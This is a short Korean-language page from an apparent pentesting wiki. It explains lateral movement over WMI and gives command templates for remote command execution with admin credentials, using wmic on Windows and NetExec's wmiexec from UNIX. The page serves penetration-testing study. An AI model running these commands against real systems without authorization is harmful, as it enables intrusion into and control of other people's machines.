> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/lateral-movement/windows/wmi.md).

# WMI

wmi(Windows Management Instrumentation)는 DCOM을 사용하여 원격 컴퓨터의 시스템을 관리하고 엑세스 할 수 있는 프로토콜입니다.

관리자 권한이 있다면 wmi 통신을 통해 Win32\_Process.Create API를 호출하여 원격 명령을 실행하는 것이 가능합니다.

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># wmi를 통한 원격 명령 실행
</strong>wmic /node:'&#x3C;target-ip>' /user:'&#x3C;username>' /password:'&#x3C;password>' process call create 'cmd.exe /c whoami >c:\windows\temp\whoami.txt'
</code></pre>

{% hint style="info" %}
wmi 명령 실행 결과는 출력되지 않으며, 출력 리다이렉션의 결과는 wmi 서버에 생성됩니다.
{% endhint %}
{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># wmi를 통한 원격 명령 실행
</strong>nxc wmi '&#x3C;target-ip>' -u '&#x3C;username>' -p '&#x3C;password>' --exec-method wmiexec -x '&#x3C;command>'
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://learn.microsoft.com/ko-kr/windows/win32/wmisdk/about-wmi>" %}
